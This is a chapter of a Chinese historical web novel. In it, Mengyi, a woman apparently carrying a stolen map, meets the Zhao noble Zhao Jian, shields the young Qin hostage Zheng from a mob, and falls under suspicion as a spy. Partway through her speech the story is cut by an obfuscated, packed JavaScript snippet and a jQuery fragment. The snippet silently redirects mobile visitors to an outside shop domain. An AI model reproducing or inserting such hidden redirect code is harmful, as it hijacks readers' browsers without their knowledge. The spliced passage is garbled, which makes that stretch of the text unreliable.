1. 桑中初遇
    赵孝成王七年七月朔,夜,大雨滂沱。

    一道鬼影飘入王宫秘阁。

    一个水刻后,一队黑衣入内巡视。

    “不好!舆图丢了!”

    众人四处搜检未果,发现一双湿脚印。

    甲士长俯身观察片刻,将自己的脚挪过去,一比对,脚印明显短了一大截。

    女子?

    正文

    日影西移,孟弋累倒在桑林中,靠着一株桑树睡着了。

    一头中箭的鹿仓皇跑来,跌扑倒地,孟弋惊醒。手立即探向怀中,一摸,图还在,遂安了心。肠肚咕噜噜乱叫起来。

    橐中仅有的一点水和半块面饼早在逃跑路上消耗光,此刻孟弋饿得眼冒金星,对着死鹿垂涎三尺。饥饿催逼她立即行动,取出猎刀、火燧、火绒,刀子比划着从哪个部位切割。这时,地面震动,继而疾驰的马蹄声和愤怒的犬吠传来。

    孟弋怔愣须臾,欲躲时已来不及,一队人马逼至眼前。

    孟弋仰头,看清了马上之人。约莫双十年纪,身着白衣,头戴垂冠,风姿俊逸。她见过世谓翩翩浊世佳公子的平原君,面前这位,也毫不逊色。

    孟弋退后一步,施礼道:“我是赶路的饿人,不知死鹿有主,冒犯了君子,罪过,罪过。”

    那人下颌一扬,目光从孟弋脸上坠到死鹿上,又回到孟弋脸上,正要开口,后方传来马的嘶鸣声。

    “兄长,可寻得那头鹿了?”一个十二三岁的少年纵马而来,望见孟弋,不由“噫!”一声,利索地跃下马来,咋呼着跑到孟弋面前。“你是何人?在此作甚?你识得我兄长?”

    “唔……”孟弋弯弯眉毛,先回答哪个?

    “忽!”先前那人呵止少年。

    少年挠挠头,回到马上,大眼珠子一眨不眨看着孟弋。

    “既是饿人,这鹿便与你了。”那人回马欲走。

    孟弋高呼:“君子等等!”

    君子停下。

    孟弋上前扒着马缰:“君子可是回邯郸?可否捎我一程?”

    君子诧异。

    孟弋言辞恳切:“我赶了一天的路,踵都磨破了,又饿又累,实在没力气了。”日头半坠西天,走断脚天黑前也走不到邯郸。

    君子星目微敛,审视孟弋,但见她眸中波光流转,祈盼地望着自己。顿了顿,张口问:“你叫什么?”

    “孟弋。”

    娰姓,弋氏。掠见她发髻间空无一物,君子又问:“子年几何?家住何处?家中还有何人?”

    孟弋眼珠滚啊滚。“十八。巨鹿人……遇上大灾,家中无人了,我是去邯郸谋生的。”

    君子沉默了。

    明显的拒绝的信号,孟弋暗自懊恼:哪句说错了?

    日头又低了些,孟弋心生不安,君子总算开口了。“那只好委屈你与我共乘了。”

    孟弋看看他,再看看那少年和几位护卫,皆一人一马,确无多余马匹。她没半点犹豫地伸出了手。

    鞭子落下,马飞驰而去。

    望着二人离去的背影,少年惊得合不拢嘴。老师唾骂赵女妩媚妖冶,半点不谬啊。父亲教我多向简兄学习,学什么?学他跑到桑中射鹿?与女同乘?

    ***

    骏马狂奔,君子臂膀架在孟弋两侧,控厄缰绳。如此一来,孟弋等于被他圈了起来。她甚是局促,一会儿挺直后背,一会儿缩紧双肩,时而摆弄一下藏在袖中的刀。两只袖口没拢严,刀鞘漏了出来,君子轻哂:“这会子知道怕了?”

    “不怕不怕。汝是君子,我怕什么?”孟弋干笑两声,藏好刀,“失礼了,尚不知君子高姓大名?”

    “赵简。”

    赵……简?孟弋一悚,赵王弟庐陵君赵简?被王兄抢了未婚妻的赵简?

    糟了,这谎撒得太大了。

    ***

    平原君府。

    “哦?惊为天人?二人同乘一马?”听了幼子忽手舞足蹈的描述,平原君赵胜不禁发笑。

    赵忽进家门就兴奋地嚷嚷桑林中事。

    “真的真的,比王兄丹抢走的孟楼更美。巧笑倩兮,美目盼兮,诗中所言不假,不假!”赵忽倏地停下,凑到父亲脸前,神秘兮兮问,“父亲,简兄是不是受了刺激,欲放纵自己,移情别恋?”

    赵胜敲他脑壳:“小小年纪,满口胡言!去,将昨日所学的《诗》抄百遍。”

    赵忽噘着嘴走开了。

    赵胜会心一笑。简有了新欢,便不会记恨丹了。长平血未干,邯郸人家至今有日夜啼哭者。割地一事,赵与秦陷入僵持,秦人蠢蠢欲动。危机之秋,赵国不能再内乱了。想到血流漂橹的长平,想到该死的秦人,素以儒雅著称的平原君怒地掀了案。

    ***

    进了大北城,在大道上没行几步,赵简便遇到了一股伤兵和饥民,捱在墙根,听天由命。

    赵简放缓了马速,招来名为虎的侍卫,令将今日所获猎物舍与那些人。

    分到猎物的人涌上前拜谢庐陵君。

    孟弋大口嚼着一块鹿脯,眼前浮现另一幕景象,干裂的农田,枯死的稼禾,濒死的人……当年为什么没有一位庐陵君呢?

    “狗崽子别跑!”

    “打死他!打死他!”

    回忆被打断,孟弋望向喧嚣街面,一群恶少年追着一小童朝这边跑来,小童呼哧带喘,不断有土石烂菜叶子朝他砸来,追得最紧的一半大少年,不歇地挥舞长棍,偶有几下落在小童背上。小童脸憋得通红,倔强地向前跑。

    眼前闪现另一个小小的身影……孟弋跳下马。

    赵简未阻拦。

    小童精疲力尽,终于没抗住又一棍的击打,向前扑去。

    却没摔疼,他落在了一个柔软的怀抱中,仰起小脸一瞧,一双极好看的笑眼温柔地注视着自己。

    持棍的恶少年气喘吁吁追来,张口欲骂,却在看见孟弋时涨红了脸,别开眼,意外看见一个熟悉的人:“叔父!”他兴奋地喊赵简。

    赵简也认出了他,叔父平阳君赵豹的长孙亥。再扫视那群少年,又认出了几张面孔,有公室子孙,还有大臣子弟。

    “追逐打闹,成何体统?”赵简走到众人间。

    被训的亥想起,这女子是从叔父马背上下来的,叔父必会袒护她,可是他没错啊。“叔父,这小崽子是秦人,是秦质子异人的儿子,我们要打死他,为死在长平的赵军将士们报仇!”

    “对,报仇,报仇!打死他!”恶少年群起呼应,义愤填膺。

    赵简沉了脸,阴郁的目光自秦公孙脸上滑过。秦人!

    孟弋一怔,顺手救下的小童竟是秦公孙?

    长平之战,秦军统帅武安君白起坑杀了四十万赵国将士,之血腥之残暴,惊天地泣鬼神。这场战争宛如一把利锥,狠狠扎在了赵人心脏。

    忽然掌心一热,是小童恐惧不安地攥紧了她的手。孟弋心一软。

    她把公孙藏在身后,对那群恶少年道:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134762|150039||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    坑杀四十万赵军的是人屠白起,你们谁敢千里奔袭秦国,刺杀白起,为亡魂报仇?”

    无人应声。

    赵简看着孟弋,面色稍霁。

    孟弋又说:“秦国虎狼之师正磨刀霍霍,你们谁敢领兵御敌于国门之外?你们打杀秦公孙,就能退秦兵么?”

    恶少年们面面相觑,垂头不语。站在后面的一位,悄悄将一把明晃晃的短剑藏了起来。

    “行了,都散了吧,”赵简适时结束这场闹剧。

    就在这时,一辆轺车飞奔而来,一老仆几乎是滚下车来,看见秦公孙便嚎啕。“公孙,老奴可找着你了!”

    车上又下来一黑衣,是赵王派去质子府的,认得赵简,“见过公子!”

    秦公孙于晨间跑出府,一日未归。秦赵剑拔弩张,赵人恨不能将秦人食肉寝皮,这时节公孙不见了,急坏了异人公子,合府仆人都派出来找寻。

    赵简颔首:“汝等速速护送公孙回府。”

    老仆牵公孙走,公孙却抓着孟弋的手不放。孟弋笑笑,把自己的刀放在公孙手中。“去吧,不要怕,以后谁敢欺负你,你就杀了他。”

    赵简视线落在刀把镶着的玳瑁上,又看眼孟弋,抿唇不语。

    公孙攥着刀,如获至宝。坐上车后,仰脸,大声问孟弋:“我叫政,姊,你叫什么?”

    孟弋身躯一颤,恍惚中一个小小的身影向她奔来:姊!给你,新打下来的枣。

    回过神来,御者已将车掉头,她笑道:“孟弋。”

    政咧开嘴笑了。

    轺车离去,赵简载了孟弋离开。那群恶少年也同苍蝇般散了。僻巷中,一蒙面人慌慌张张离开。

    ***

    孟弋一路装哑,到了庐陵君府,抢在赵简赶她前,祈求:“公子公子,我暂无去处,你府上可还缺仆人?我什么活都会干。”

    赵简上下打量她一道,叫来了身边资历最长的侍女少祁。

    少祁带着好奇的眼光领走了孟弋。

    少祁带她去用膳、盥洗。

    孟弋今日累惨了,要不是少祁唤她,她都要在浴桶里过夜了。少祁帮她擦湿发,她直接睡着了。

    少祁端详酣睡中的孟弋。公子早先和楼氏长女议过八字,仆人们早将孟楼当作未来女主人了。可月前,大王将孟楼纳入了后宫。

    那些日子,大家走路说话都不敢大声。今日,公子带回一名女子,还特意嘱咐了许多。少祁嘴边添了几抹笑意。

    湿发差不多擦干了,少祁落了银钩,放下帏帐,轻步离开。帏帐中人忽然叫道:“弟!母亲!”侍女吓一跳,掀开帏帐,孟弋仍睡着,嗐,发癔症了。

    帏帐重落下,孟弋又喊:“别卖我!别卖我!”

    ***

    听完少祁回禀,赵简挥手让她退下,又唤来了虎。

    “叫上几个人,再去趟白日狩猎的桑中,打听打听方圆一二十里内……”

    虎领命而出。

    赵简歇下,却睡不着,心里想的全是孟弋,越想越觉其可疑。巨鹿距邯郸近百里,她孤身一人如何走这么远?外着粗布麻衣,却用得起玳瑁……她还同情秦人……赵简猛地睁开眼。潜入宫中盗窃舆图者,究竟是不是此女?若是,她胆子未免太大了些。可是,胆子不大又如何做奸细呢……

    秦公孙遇袭事件随着入夜的风刮遍了邯郸大街小巷,传入有心人无心人耳中。任谁都没想到,一起看似平常的少年斗殴,竟为赵国惹来一场大麻烦。